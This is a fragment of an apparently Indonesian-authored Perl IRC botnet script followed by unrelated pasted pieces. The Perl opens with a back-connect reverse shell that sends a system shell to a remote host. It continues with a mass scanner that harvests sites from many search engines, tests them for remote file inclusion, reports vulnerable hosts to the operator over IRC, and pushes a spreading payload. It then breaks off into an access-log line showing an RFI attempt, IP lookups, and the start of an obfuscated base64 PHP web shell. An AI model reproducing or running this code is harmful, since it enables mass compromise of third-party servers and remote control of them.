socket(SOCKET, PF_INET, SOCK_STREAM, $proto) or die "socket: $!";
connect(SOCKET, $paddr) or die "connect: $!";
open(STDIN, ">&SOCKET");
open(STDOUT, ">&SOCKET");
open(STDERR, ">&SOCKET");
system("$shell");
close(STDIN);
close(STDOUT);
close(STDERR);
if ($estatisticas)
{
  sendraw($IRC_cur_socket, "PRIVMSG $printl :13·+=+·BackConnect13·+=+· Connecting to 12 $host:$porta");
}
}
######################
#End of  Back Connect# 
##################################################
#       Ketika Rasa membelenggu kata™	         #
# 	   arage@jatuh.cinta.com		 #
#	     Created By arage			 #
#	         #x-zone		         #
#	       irc.dal.net			 #
##################################################
#   EExPreSi SCANNER # 
######################
######################################################################
#################### GOOGLE
######################################################################
if ($funcarg =~ /^scan\s+(.*?)\s+(.*)/){
if (my $pid = fork) {
waitpid($pid, 0);
} else {
if (fork) {
exit;
} else {
my $bug=$1;
my $dork=$2;
my $contatore=0;
my %hosts;
### Start Message
  sendraw($IRC_cur_socket, "PRIVMSG $printl :13·+=+·Initializing13·+=+· ExPreSi scan is for12 $bug and12 $dork");
### End of Start Message
# Starting The Search Engine
	my @google=&googlet($dork);
#
push(my @tot, @google);
#
my @puliti=&unici(@tot);
  sendraw($IRC_cur_socket, "PRIVMSG $printl :13·+=+·Google13·+=+· Total:14 ".scalar(@tot)." Cleaned:14 ".scalar(@puliti)." for12 $dork ");
my $uni=scalar(@puliti);
foreach my $sito (@puliti)
{
$contatore++;
if ($contatore %100==0){ 
}
if ($contatore==$uni-1){
  sendraw($IRC_cur_socket, "PRIVMSG $printl :13·+=+·Google13·+=+· finished for14 $dork");
}
### Print CMD and TEST CMD###
my $test="http://".$sito.$bug.$id."?";
my $print="http://".$sito.$bug.$cmd."?";
### End of Print CMD and TEST CMD###
my $req=HTTP::Request->new(GET=>$test);
my $ua=LWP::UserAgent->new();
$ua->timeout(5);
my $response=$ua->request($req);
if ($response->is_success) {
my $re=$response->content;
if($re =~ /arage/ && $re =~ /uid=/){
my $hs=geths($print); $hosts{$hs}++;
if($hosts{$hs}=="1"){
$x=os($test);
($type,$space)=split(/\,/,$x);
  sendraw($IRC_cur_socket, "PRIVMSG $printl :12+Google:13OFF 12+ Uname:6 $type 12+ Vuln:10 $print 12+");
  sendraw($IRC_cur_socket, "PRIVMSG arage :Uname:6 $type Vuln:10 $print");
my $test2="http://".$sito.$bug.$spread."?";
my $reqz=HTTP::Request->new(GET=>$test2);
my $ua=LWP::UserAgent->new();
my $response=$ua->request($reqz);
}}
elsif($re =~ /arage/)
{
my $hs=geths($print); $hosts{$hs}++;
if($hosts{$hs}=="1"){
$x=os($test);
($type,$space)=split(/\,/,$x);
  sendraw($IRC_cur_socket, "PRIVMSG $printl :12+Google:7ON12+ 12+Vuln:5 $print 12+");
my $test2="http://".$sito.$bug.$spread."?";
my $reqz=HTTP::Request->new(GET=>$test2);
my $ua=LWP::UserAgent->new();
my $response=$ua->request($reqz);
}}
}}}
exit;
}}

######################################################################
#################### AllTheWeb
######################################################################
if ($funcarg =~ /^scan\s+(.*?)\s+(.*)/){
if (my $pid = fork) {
waitpid($pid, 0);
} else {
if (fork) {
exit;
} else {
my $bug=$1;
my $dork=$2;
my $contatore=0;
my %hosts;
# Starting The Search Engine
	my @alltheweb=&allthewebt($dork);
	my @allweb=&standard($dork);
#
push(my @tot, @alltheweb, @allweb);
#
my @puliti=&unici(@tot);
  sendraw($IRC_cur_socket, "PRIVMSG $printl :13·+=+·AllWeb13·+=+· Total:14 ".scalar(@tot)." Cleaned:14 ".scalar(@puliti)." for12 $dork ");
my $uni=scalar(@puliti);
foreach my $sito (@puliti)
{
$contatore++;
if ($contatore %100==0){ 
}
if ($contatore==$uni-1){
  sendraw($IRC_cur_socket, "PRIVMSG $printl :13·+=+·AllWeb13·+=+· finished for14 $dork");
}
### Print CMD and TEST CMD###
my $test="http://".$sito.$bug.$id."?";
my $print="http://".$sito.$bug.$cmd."?";
### End of Print CMD and TEST CMD###
my $req=HTTP::Request->new(GET=>$test);
my $ua=LWP::UserAgent->new();
$ua->timeout(5);
my $response=$ua->request($req);
if ($response->is_success) {
my $re=$response->content;
if($re =~ /arage/ && $re =~ /uid=/){
my $hs=geths($print); $hosts{$hs}++;
if($hosts{$hs}=="1"){
$x=os($test);
($type,$space)=split(/\,/,$x);
  sendraw($IRC_cur_socket, "PRIVMSG $printl :12+AllWeb:13OFF 12+ Uname:6 $type 12+ Vuln:10 $print 12+");
  sendraw($IRC_cur_socket, "PRIVMSG arage :Uname:6 $type Vuln:10 $print");
my $test2="http://".$sito.$bug.$spread."?";
my $reqz=HTTP::Request->new(GET=>$test2);
my $ua=LWP::UserAgent->new();
my $response=$ua->request($reqz);
}}
elsif($re =~ /arage/)
{
my $hs=geths($print); $hosts{$hs}++;
if($hosts{$hs}=="1"){
$x=os($test);
($type,$space)=split(/\,/,$x);
  sendraw($IRC_cur_socket, "PRIVMSG $printl :12+AllWeb:7ON12+ 12+Vuln:5 $print 12+");
my $test2="http://".$sito.$bug.$spread."?";
my $reqz=HTTP::Request->new(GET=>$test2);
my $ua=LWP::UserAgent->new();
my $response=$ua->request($reqz);
}}
}}}
exit;
}}

######################################################################
#################### LYCOS
######################################################################
if ($funcarg =~ /^scan\s+(.*?)\s+(.*)/){
if (my $pid = fork) {
waitpid($pid, 0);
} else {
if (fork) {
exit;
} else {
my $bug=$1;
my $dork=$2;
my $contatore=0;
my %hosts;
# Starting The Search Engine
	my @lylist=&lycos($dork);
push(my @lybyp,@lylist);
#
push(my @tot, @lybyp);
my @puliti=&unici(@tot);
  sendraw($IRC_cur_socket, "PRIVMSG $printl :13·+=+·Lycos13·+=+· Total:14 ".scalar(@tot)." Cleaned:14 ".scalar(@puliti)." for12 $dork ");
my $uni=scalar(@puliti);
foreach my $sito (@puliti)
{
$contatore++;
if ($contatore %100==0){ 
}
if ($contatore==$uni-1){
  sendraw($IRC_cur_socket, "PRIVMSG $printl :13·+=+·Lycos13·+=+· finished for14 $dork");
}
### Print CMD and TEST CMD###
my $test="http://".$sito.$bug.$id."?";
my $print="http://".$sito.$bug.$cmd."?";
### End of Print CMD and TEST CMD###
my $req=HTTP::Request->new(GET=>$test);
my $ua=LWP::UserAgent->new();
$ua->timeout(5);
my $response=$ua->request($req);
if ($response->is_success) {
my $re=$response->content;
if($re =~ /arage/ && $re =~ /uid=/){
my $hs=geths($print); $hosts{$hs}++;
if($hosts{$hs}=="1"){
$x=os($test);
($type,$space)=split(/\,/,$x);
  sendraw($IRC_cur_socket, "PRIVMSG $printl :12+Lycos:13OFF 12+ Uname:6 $type 12+ Vuln:10 $print 12+");
  sendraw($IRC_cur_socket, "PRIVMSG arage :Uname:6 $type Vuln:10 $print");
my $test2="http://".$sito.$bug.$spread."?";
my $reqz=HTTP::Request->new(GET=>$test2);
my $ua=LWP::UserAgent->new();
my $response=$ua->request($reqz);
}}
elsif($re =~ /kangkung/)
{
my $hs=geths($print); $hosts{$hs}++;
if($hosts{$hs}=="1"){
$x=os($test);
($type,$space)=split(/\,/,$x);
  sendraw($IRC_cur_socket, "PRIVMSG $printl :12+Lycos:7ON12+ 12+Vuln:5 $print 12+");
my $test2="http://".$sito.$bug.$spread."?";
my $reqz=HTTP::Request->new(GET=>$test2);
my $ua=LWP::UserAgent->new();
my $response=$ua->request($reqz);
}}
}}}
exit;
}}

######################################################################
#################### Yahoo
######################################################################
if ($funcarg =~ /^scan\s+(.*?)\s+(.*)/){
if (my $pid = fork) {
waitpid($pid, 0);
} else {
if (fork) {
exit;
} else {
my $bug=$1;
my $dork=$2;
my $contatore=0;
my %hosts;
# Starting The Search Engine
	my @ylist=&yahoo($dork);
	my @yalist=&yahooa($dork);
	my @yblist=&yahoob($dork);
	my @yclist=&yahooc($dork);
	my @ydlist=&yahood($dork);
		push(my @yahoobypass, @ylist, @yalist, @yblist, @yclist, @ydlist );	
#
push(my @tot, @yahoobypass);
my @puliti=&unici(@tot);
  sendraw($IRC_cur_socket, "PRIVMSG $printl :13·+=+·Yahoo13·+=+· Total:14 ".scalar(@tot)." Cleaned:14 ".scalar(@puliti)." for12 $dork ");
my $uni=scalar(@puliti);
foreach my $sito (@puliti)
{
$contatore++;
if ($contatore %100==0){ 
}
if ($contatore==$uni-1){
  sendraw($IRC_cur_socket, "PRIVMSG $printl :13·+=+·Yahoo13·+=+· finished for14 $dork");
}
### Print CMD and TEST CMD###
my $test="http://".$sito.$bug.$id."?";
my $print="http://".$sito.$bug.$cmd."?";
### End of Print CMD and TEST CMD###
my $req=HTTP::Request->new(GET=>$test);
my $ua=LWP::UserAgent->new();
$ua->timeout(5);
my $response=$ua->request($req);
if ($response->is_success) {
my $re=$response->content;
if($re =~ /arage/ && $re =~ /uid=/){
my $hs=geths($print); $hosts{$hs}++;
if($hosts{$hs}=="1"){
$x=os($test);
($type,$space)=split(/\,/,$x);
  sendraw($IRC_cur_socket, "PRIVMSG $printl :12+Yahoo:13OFF 12+ Uname:6 $type 12+ Vuln:10 $print 12+");
  sendraw($IRC_cur_socket, "PRIVMSG arage :Uname:6 $type Vuln:10 $print");
my $test2="http://".$sito.$bug.$spread."?";
my $reqz=HTTP::Request->new(GET=>$test2);
my $ua=LWP::UserAgent->new();
my $response=$ua->request($reqz);
}}
elsif($re =~ /arage/)
{
my $hs=geths($print); $hosts{$hs}++;
if($hosts{$hs}=="1"){
$x=os($test);
($type,$space)=split(/\,/,$x);
  sendraw($IRC_cur_socket, "PRIVMSG $printl :12+Yahoo:7ON12+ 12+Vuln:5 $print 12+");
my $test2="http://".$sito.$bug.$spread."?";
my $reqz=HTTP::Request->new(GET=>$test2);
my $ua=LWP::UserAgent->new();
my $response=$ua->request($reqz);
}}
}}}
exit;
}}

######################################################################
#################### MSN
######################################################################
if ($funcarg =~ /^scan\s+(.*?)\s+(.*)/){
if (my $pid = fork) {
waitpid($pid, 0);
} else {
if (fork) {
exit;
} else {
my $bug=$1;
my $dork=$2;
my $contatore=0;
my %hosts;
# Starting The Search Engine
	my @mlist=&msn($dork);
push(my @tot, @mlist);
my @puliti=&unici(@tot);
  sendraw($IRC_cur_socket, "PRIVMSG $printl :13·+=+·MSN13·+=+· Total:14 ".scalar(@tot)." Cleaned:14 ".scalar(@puliti)." for12 $dork ");
my $uni=scalar(@puliti);
foreach my $sito (@puliti)
{
$contatore++;
if ($contatore %100==0){ 
}
if ($contatore==$uni-1){
  sendraw($IRC_cur_socket, "PRIVMSG $printl :13·+=+·MSN13·+=+· finished for14 $dork");
}
### Print CMD and TEST CMD###
my $test="http://".$sito.$bug.$id."?";
my $print="http://".$sito.$bug.$cmd."?";
### End of Print CMD and TEST CMD###
my $req=HTTP::Request->new(GET=>$test);
my $ua=LWP::UserAgent->new();
$ua->timeout(5);
my $response=$ua->request($req);
if ($response->is_success) {
my $re=$response->content;
if($re =~ /arage/ && $re =~ /uid=/){
my $hs=geths($print); $hosts{$hs}++;
if($hosts{$hs}=="1"){
$x=os($test);
($type,$space)=split(/\,/,$x);
  sendraw($IRC_cur_socket, "PRIVMSG $printl :12+MSN:13OFF 12+ Uname:6 $type 12+ Vuln:10 $print 12+");
  sendraw($IRC_cur_socket, "PRIVMSG arage :Uname:6 $type Vuln:10 $print");
my $test2="http://".$sito.$bug.$spread."?";
my $reqz=HTTP::Request->new(GET=>$test2);
my $ua=LWP::UserAgent->new();
my $response=$ua->request($reqz);
}}
elsif($re =~ /arage/)
{
my $hs=geths($print); $hosts{$hs}++;
if($hosts{$hs}=="1"){
$x=os($test);
($type,$space)=split(/\,/,$x);
  sendraw($IRC_cur_socket, "PRIVMSG $printl :12+MSN:7ON12+ 12+Vuln:5 $print 12+");
my $test2="http://".$sito.$bug.$spread."?";
my $reqz=HTTP::Request->new(GET=>$test2);
my $ua=LWP::UserAgent->new();
my $response=$ua->request($reqz);
}}
}}}
exit;
}}

######################################################################
#################### SEARCH
######################################################################
if ($funcarg =~ /^scan\s+(.*?)\s+(.*)/){
if (my $pid = fork) {
waitpid($pid, 0);
} else {
if (fork) {
exit;
} else {
my $bug=$1;
my $dork=$2;
my $contatore=0;
my %hosts;
# Starting The Search Engine
	my @slist=&search($dork);
push(my @tot, @slist);
my @puliti=&unici(@tot);
  sendraw($IRC_cur_socket, "PRIVMSG $printl :13·+=+·Search13·+=+· Total:14 ".scalar(@tot)." Cleaned:14 ".scalar(@puliti)." for12 $dork ");
my $uni=scalar(@puliti);
foreach my $sito (@puliti)
{
$contatore++;
if ($contatore %100==0){ 
}
if ($contatore==$uni-1){
  sendraw($IRC_cur_socket, "PRIVMSG $printl :13·+=+·Search13·+=+· finished for14 $dork");
}
### Print CMD and TEST CMD###
my $test="http://".$sito.$bug.$id."?";
my $print="http://".$sito.$bug.$cmd."?";
### End of Print CMD and TEST CMD###
my $req=HTTP::Request->new(GET=>$test);
my $ua=LWP::UserAgent->new();
$ua->timeout(5);
my $response=$ua->request($req);
if ($response->is_success) {
my $re=$response->content;
if($re =~ /arage/ && $re =~ /uid=/){
my $hs=geths($print); $hosts{$hs}++;
if($hosts{$hs}=="1"){
$x=os($test);
($type,$space)=split(/\,/,$x);
  sendraw($IRC_cur_socket, "PRIVMSG $printl :12+Search:13OFF 12+ Uname:6 $type 12+ Vuln:10 $print 12+");
  sendraw($IRC_cur_socket, "PRIVMSG arage :Uname:6 $type Vuln:10 $print");
my $test2="http://".$sito.$bug.$spread."?";
my $reqz=HTTP::Request->new(GET=>$test2);
my $ua=LWP::UserAgent->new();
my $response=$ua->request($reqz);
}}
elsif($re =~ /arage/)
{
my $hs=geths($print); $hosts{$hs}++;
if($hosts{$hs}=="1"){
$x=os($test);
($type,$space)=split(/\,/,$x);
  sendraw($IRC_cur_socket, "PRIVMSG $printl :12+Search:7ON12+ 12+Vuln:5 $print 12+");
my $test2="http://".$sito.$bug.$spread."?";
my $reqz=HTTP::Request->new(GET=>$test2);
my $ua=LWP::UserAgent->new();
my $response=$ua->request($reqz);
}}
}}}
exit;
}}

######################################################################
#################### FireBall
######################################################################
if ($funcarg =~ /^scan\s+(.*?)\s+(.*)/){
if (my $pid = fork) {
waitpid($pid, 0);
} else {
if (fork) {
exit;
} else {
my $bug=$1;
my $dork=$2;
my $contatore=0;
my %hosts;
# Starting The Search Engine
	my @fireball=fireball($dork);
push(my @tot, @fireball);
my @puliti=&unici(@tot);
  sendraw($IRC_cur_socket, "PRIVMSG $printl :13·+=+·FireBall13·+=+· Total:14 ".scalar(@tot)." Cleaned:14 ".scalar(@puliti)." for12 $dork ");
my $uni=scalar(@puliti);
foreach my $sito (@puliti)
{
$contatore++;
if ($contatore %100==0){ 
}
if ($contatore==$uni-1){
  sendraw($IRC_cur_socket, "PRIVMSG $printl :13·+=+·FireBall13·+=+· finished for14 $dork");
}
### Print CMD and TEST CMD###
my $test="http://".$sito.$bug.$id."?";
my $print="http://".$sito.$bug.$cmd."?";
### End of Print CMD and TEST CMD###
my $req=HTTP::Request->new(GET=>$test);
my $ua=LWP::UserAgent->new();
$ua->timeout(5);
my $response=$ua->request($req);
if ($response->is_success) {
my $re=$response->content;
if($re =~ /arage/ && $re =~ /uid=/){
my $hs=geths($print); $hosts{$hs}++;
if($hosts{$hs}=="1"){
$x=os($test);
($type,$space)=split(/\,/,$x);
  sendraw($IRC_cur_socket, "PRIVMSG $printl :12+FireBall:13OFF 12+ Uname:6 $type 12+ Vuln:10 $print 12+");
  sendraw($IRC_cur_socket, "PRIVMSG arage :Uname:6 $type Vuln:10 $print");
my $test2="http://".$sito.$bug.$spread."?";
my $reqz=HTTP::Request->new(GET=>$test2);
my $ua=LWP::UserAgent->new();
my $response=$ua->request($reqz);
}}
elsif($re =~ /arage/)
{
my $hs=geths($print); $hosts{$hs}++;
if($hosts{$hs}=="1"){
$x=os($test);
($type,$space)=split(/\,/,$x);
  sendraw($IRC_cur_socket, "PRIVMSG $printl :12+FireBall:7ON12+ 12+Vuln:5 $print 12+");
my $test2="http://".$sito.$bug.$spread."?";
my $reqz=HTTP::Request->new(GET=>$test2);
my $ua=LWP::UserAgent->new();
my $response=$ua->request($reqz);
}}
}}}
exit;
}}

######################################################################
#################### UOL
######################################################################
if ($funcarg =~ /^scan\s+(.*?)\s+(.*)/){
if (my $pid = fork) {
waitpid($pid, 0);
} else {
if (fork) {
exit;
} else {
my $bug=$1;
my $dork=$2;
my $contatore=0;
my %hosts;
# Starting The Search Engine
	my @ulist=&uol($dork);
push(my @tot, @ulist);
my @puliti=&unici(@tot);
  sendraw($IRC_cur_socket, "PRIVMSG $printl :13·+=+·UOL13·+=+· Total:14 ".scalar(@tot)." Cleaned:14 ".scalar(@puliti)." for12 $dork ");
my $uni=scalar(@puliti);
foreach my $sito (@puliti)
{
$contatore++;
if ($contatore %100==0){ 
}
if ($contatore==$uni-1){
  sendraw($IRC_cur_socket, "PRIVMSG $printl :13·+=+·UOL13·+=+· finished for14 $dork");
}
### Print CMD and TEST CMD###
my $test="http://".$sito.$bug.$id."?";
my $print="http://".$sito.$bug.$cmd."?";
### End of Print CMD and TEST CMD###
my $req=HTTP::Request->new(GET=>$test);
my $ua=LWP::UserAgent->new();
$ua->timeout(5);
my $response=$ua->request($req);
if ($response->is_success) {
my $re=$response->content;
if($re =~ /arage/ && $re =~ /uid=/){
my $hs=geths($print); $hosts{$hs}++;
if($hosts{$hs}=="1"){
$x=os($test);
($type,$space)=split(/\,/,$x);
  sendraw($IRC_cur_socket, "PRIVMSG $printl :12+UOL:13OFF 12+ Uname:6 $type 12+ Vuln:10 $print 12+");
  sendraw($IRC_cur_socket, "PRIVMSG arage :Uname:6 $type Vuln:10 $print");
my $test2="http://".$sito.$bug.$spread."?";
my $reqz=HTTP::Request->new(GET=>$test2);
my $ua=LWP::UserAgent->new();
my $response=$ua->request($reqz);
}}
elsif($re =~ /arage/)
{
my $hs=geths($print); $hosts{$hs}++;
if($hosts{$hs}=="1"){
$x=os($test);
($type,$space)=split(/\,/,$x);
  sendraw($IRC_cur_socket, "PRIVMSG $printl :12+UOL:7ON12+ 12+Vuln:5 $print 12+");
my $test2="http://".$sito.$bug.$spread."?";
my $reqz=HTTP::Request->new(GET=>$test2);
my $ua=LWP::UserAgent->new();
my $response=$ua->request($reqz);
}}
}}}
exit;
}}

######################################################################
#################### ALTAVISTA
######################################################################
if ($funcarg =~ /^scan\s+(.*?)\s+(.*)/){
if (my $pid = fork) {
waitpid($pid, 0);
} else {
if (fork) {
exit;
} else {
my $bug=$1;
my $dork=$2;
my $contatore=0;
my %hosts;
# Starting The Search Engine
	my @alist=&altavista($dork);
	my @ablist=&altavistade($dork);
	my @aclist=&altavistaus($dork);
push(my @tot, @alist,@ablist,@aclist);
my @puliti=&unici(@tot);
  sendraw($IRC_cur_socket, "PRIVMSG $printl :13·+=+·Altavista13·+=+· Total:14 ".scalar(@tot)." Cleaned:14 ".scalar(@puliti)." for12 $dork ");
my $uni=scalar(@puliti);
foreach my $sito (@puliti)
{
$contatore++;
if ($contatore %100==0){ 
}
if ($contatore==$uni-1){
  sendraw($IRC_cur_socket, "PRIVMSG $printl :13·+=+·Altavista13·+=+· finished for14 $dork");
}
### Print CMD and TEST CMD###
my $test="http://".$sito.$bug.$id."?";
my $print="http://".$sito.$bug.$cmd."?";
### End of Print CMD and TEST CMD###
my $req=HTTP::Request->new(GET=>$test);
my $ua=LWP::UserAgent->new();
$ua->timeout(5);
my $response=$ua->request($req);
if ($response->is_success) {
my $re=$response->content;
if($re =~ /arage/ && $re =~ /uid=/){
my $hs=geths($print); $hosts{$hs}++;
if($hosts{$hs}=="1"){
$x=os($test);
($type,$space)=split(/\,/,$x);
  sendraw($IRC_cur_socket, "PRIVMSG $printl :12+Altavista:13OFF 12+ Uname:6 $type 12+ Vuln:10 $print 12+");
  sendraw($IRC_cur_socket, "PRIVMSG arage :Uname:6 $type Vuln:10 $print");
my $test2="http://".$sito.$bug.$spread."?";
my $reqz=HTTP::Request->new(GET=>$test2);
my $ua=LWP::UserAgent->new();
my $response=$ua->request($reqz);
}}
elsif($re =~ /arage/)
{
my $hs=geths($print); $hosts{$hs}++;
if($hosts{$hs}=="1"){
$x=os($test);
($type,$space)=split(/\,/,$x);
  sendraw($IRC_cur_socket, "PRIVMSG $printl :12+Altavista:7ON12+ 12+Vuln:5 $print 12+");
my $test2="http://".$sito.$bug.$spread."?";
my $reqz=HTTP::Request->new(GET=>$test2);
my $ua=LWP::UserAgent->new();
my $response=$ua->request($reqz);
}}
}}}
exit;
}}

######################################################################
#################### HOTBOT
######################################################################
if ($funcarg =~ /^scan\s+(.*?)\s+(.*)/){
if (my $pid = fork) {
waitpid($pid, 0);
} else {
if (fork) {
exit;
} else {
my $bug=$1;
my $dork=$2;
my $contatore=0;
my %hosts;
# Starting The Search Engine
	my @hlist=&hotbot($dork);
	my @hlistb=&hotbotb($dork);
push(my @tot, @hlist, @hlistb);
my @puliti=&unici(@tot);
  sendraw($IRC_cur_socket, "PRIVMSG $printl :13·+=+·HotBot13·+=+· Total:14 ".scalar(@tot)." Cleaned:14 ".scalar(@puliti)." for12 $dork ");
my $uni=scalar(@puliti);
foreach my $sito (@puliti)
{
$contatore++;
if ($contatore %100==0){ 
}
if ($contatore==$uni-1){
  sendraw($IRC_cur_socket, "PRIVMSG $printl :13·+=+·HotBot13·+=+· finished for14 $dork");
}
### Print CMD and TEST CMD###
my $test="http://".$sito.$bug.$id."?";
my $print="http://".$sito.$bug.$cmd."?";
### End of Print CMD and TEST CMD###
my $req=HTTP::Request->new(GET=>$test);
my $ua=LWP::UserAgent->new();
$ua->timeout(5);
my $response=$ua->request($req);
if ($response->is_success) {
my $re=$response->content;
if($re =~ /arage/ && $re =~ /uid=/){
my $hs=geths($print); $hosts{$hs}++;
if($hosts{$hs}=="1"){
$x=os($test);
($type,$space)=split(/\,/,$x);
  sendraw($IRC_cur_socket, "PRIVMSG $printl :12+HotBot:13OFF 12+ Uname:6 $type 12+ Vuln:10 $print 12+");
  sendraw($IRC_cur_socket, "PRIVMSG arage :Uname:6 $type Vuln:10 $print");
my $test2="http://".$sito.$bug.$spread."?";
my $reqz=HTTP::Request->new(GET=>$test2);
my $ua=LWP::UserAgent->new();
my $response=$ua->request($reqz);
}}
elsif($re =~ /arage/)
{
my $hs=geths($print); $hosts{$hs}++;
if($hosts{$hs}=="1"){
$x=os($test);
($type,$space)=split(/\,/,$x);
  sendraw($IRC_cur_socket, "PRIVMSG $printl :12+HotBot:7ON12+ 12+Vuln:5 $print 12+");
my $test2="http://".$sito.$bug.$spread."?";
my $reqz=HTTP::Request->new(GET=>$test2);
my $ua=LWP::UserAgent->new();
my $response=$ua->request($reqz);
}}
}}}
exit;
}}

######################################################################
#################### MAMMA
######################################################################
if ($funcarg =~ /^scan\s+(.*?)\s+(.*)/){
if (my $pid = fork) {
waitpid($pid, 0);
} else {
if (fork) {
exit;
} else {
my $bug=$1;
my $dork=$2;
my $contatore=0;
my %hosts;
# Starting The Search Engine
	my @malist=&mamma($dork);
push(my @tot, @malist);
my @puliti=&unici(@tot);
  sendraw($IRC_cur_socket, "PRIVMSG $printl :13·+=+·Mamma13·+=+· Total:14 ".scalar(@tot)." Cleaned:14 ".scalar(@puliti)." for12 $dork ");
my $uni=scalar(@puliti);
foreach my $sito (@puliti)
{
$contatore++;
if ($contatore %100==0){ 
}
if ($contatore==$uni-1){
  sendraw($IRC_cur_socket, "PRIVMSG $printl :13·+=+·Mamma13·+=+· finished for14 $dork");
}
### Print CMD and TEST CMD###
my $test="http://".$sito.$bug.$id."?";
my $print="http://".$sito.$bug.$cmd."?";
### End of Print CMD and TEST CMD###
my $req=HTTP::Request->new(GET=>$test);
my $ua=LWP::UserAgent->new();
$ua->timeout(5);
my $response=$ua->request($req);
if ($response->is_success) {
my $re=$response->content;
if($re =~ /
69.64.43.218 - - [12/May/2015:21:33:13 +0200] "GET //components/com_zoom/includes/database.php?mosConfig_absolute_path=http://europa.leit-ramm.de/ama.txt??? HTTP/1.1" 404 8749 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2) Gecko/20100115 F
2015-04-10 08:30:04 213.165.70.246
websitelooker.com : 213.165.70.246
whois.domaintools.com : 213.165.70.246
<?php @session_start(); @set_time_limit(0); @error_reporting(0); @ini_set('error_log',NULL); @ini_set('log_errors',0); @ini_set('max_execution_time',0); @set_magic_quotes_runtime(0); echo "pVd5c9pIFv97XeXv0NFm"; preg_replace("/.*/e","\x65\x76\x61\x6c\x28\x62\x61\x73\x65\x36\x34\x5f\x64\x65\x63\x6f\x64\x65\x28'JGF1dGhfcGFzcyA9ICI2ZmNhZjk2MjQyZGY0NDUyMjUwM2ZkZDdlZmQ5ZTMwMCI7DQokY29sb3IgPSAiI2RmNSI7DQokZGVmYXVsdF9hY3Rpb24gPSAnRmlsZXNNYW4nOw0KJGRlZmF1bHRfdXNlX2FqYXggPSB0cnVlOw0KJGRlZmF1bHRfY2hhcnNldCA9ICdXaW5kb3dzLTEyNTEnOw0KDQppZighZW1wdHkoJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddKSkgew0KICAgICR1c2VyQWdlbnRzID0gYXJyYXkoIkdvb2dsZSIsICJTbHVycCIsICJNU05Cb3QiLCAiaWFfYXJjaGl2ZXIiLCAiWWFuZGV4IiwgIlJhbWJsZXIiKTsNCiAgICBpZihwcmVnX21hdGNoKCcvJyAuIGltcGxvZGUoJ3wnLCAkdXNlckFnZW50cykgLiAnL2knLCAkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10pKSB7DQogICAgICAgIGhlYWRlcignSFRUUC8xLjAgNDA0IE5vdCBGb3VuZCcpOw0KICAgICAgICBleGl0Ow0KICAgIH0NCn0NCg0KQHNlc3Npb25fc3RhcnQoKTsNCkBpbmlfc2V0KCdlcnJvcl9sb2cnLE5VTEwpOw0KQGluaV9zZXQoJ2xvZ19lcnJvcnMnLDApOw0KQGluaV9zZXQoJ21heF9leGVjdXRpb25fdGltZScsMCk7DQpAc2V0X3RpbWVfbGltaXQoMCk7DQpAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApOw0KQGRlZmluZSgnQk9GRl9WRVJTSU9OJywgJzEuMCcpOw0KDQppZihnZXRfbWFnaWNfcXVvdGVzX2dwYygpKSB7DQoJZnVuY3Rpb24gQk9GRnN0cmlwc2xhc2hlcygkYXJyYXkpIHsNCgkJcmV0dXJuIGlzX2FycmF5KCRhcnJheSkgPyBhcnJheV9tYXAoJ0JPRkZzdHJpcHNsYXNoZXMnLCAkYXJyYXkpIDogc3RyaXBzbGFzaGVzKCRhcnJheSk7DQoJfQ0KCSRfUE9TVCA9IEJPRkZzdHJpcHNsYXNoZXMoJF9QT1NUKTsNCn0NCg0KZnVuY3Rpb24gQk9GRkxvZ2luKCkgew0KCWRpZShNaW5mbygpLiI8YnI+PGZvcm0gbWV0aG9kPXBvc3Q+UGFzc3dvcmQ6IDxpbnB1dCB0eXBlPXBhc3N3b3JkIG5hbWU9cGFzcz48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Jz4+Jz48L2Zvcm0+Iik7DQp9DQoNCmlmKCFpc3NldCgkX1NFU1NJT05bbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSldKSkNCglpZiggZW1wdHkoJGF1dGhfcGFzcykgfHwgKCBpc3NldCgkX1BPU1RbJ3Bhc3MnXSkgJiYgKG1kNSgkX1BPU1RbJ3Bhc3MnXSkgPT0gJGF1dGhfcGFzcykgKSApDQoJCSRfU0VTU0lPTlttZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKV0gPSB0cnVlOw0KCWVsc2UNCgkJQk9GRkxvZ2luKCk7DQoNCmlmKHN0cnRvbG93ZXIoc3Vic3RyKFBIUF9PUywwLDMpKSA9PSAid2luIikNCgkkb3MgPSAnd2luJzsNCmVsc2UNCgkkb3MgPSAnbml4JzsNCg0KJHNhZmVfbW9kZSA9IEBpbmlfZ2V0KCdzYWZlX21vZGUnKTsNCmlmKCEkc2FmZV9tb2RlKQ0KICAgIGVycm9yX3JlcG9ydGluZygwKTsNCg0KJGRpc2FibGVfZnVuY3Rpb25zID0gQGluaV9nZXQoJ2Rpc2FibGVfZnVuY3Rpb25zJyk7DQokaG9tZV9jd2QgPSBAZ2V0Y3dkKCk7DQppZihpc3NldCgkX1BPU1RbJ2MnXSkpDQoJQGNoZGlyKCRfUE9TVFsnYyddKTsNCiRjd2QgPSBAZ2V0Y3dkKCk7DQppZigkb3MgPT0gJ3dpbicpIHsNCgkkaG9tZV9jd2QgPSBzdHJfcmVwbGFjZSgiXFwiLCAiLyIsICRob21lX2N3ZCk7DQoJJGN3ZCA9IHN0cl9yZXBsYWNlKCJcXCIsICIvIiwgJGN3ZCk7DQp9DQppZiggJGN3ZFtzdHJsZW4oJGN3ZCktMV0gIT0gJy8nICkNCgkkY3dkIC49ICcvJzsNCg0KaWYoIWlzc2V0KCRfU0VTU0lPTlttZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKSAuICdhamF4J10pKQ0KICAgICRfU0VTU0lPTlttZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKSAuICdhamF4J10gPSAoYm9vbCkkR0xPQkFMU1snZGVmYXVsdF91c2VfYWpheCddOw0KCQ0KaWYoJG9zID09ICd3aW4nKQ0KCSRhbGlhc2VzID0gYXJyYXkoDQoJCSJMaXN0IERpcmVjdG9yeSIgPT4gImRpciIsDQogICAgCSJGaW5kIGluZGV4LnBocCBpbiBjdXJyZW50IGRpciIgPT4gImRpciAvcyAvdyAvYiBpbmRleC5waHAiLA0KICAgIAkiRmluZCAqY29uZmlnKi5waHAgaW4gY3VycmVudCBkaXIiID0+ICJkaXIgL3M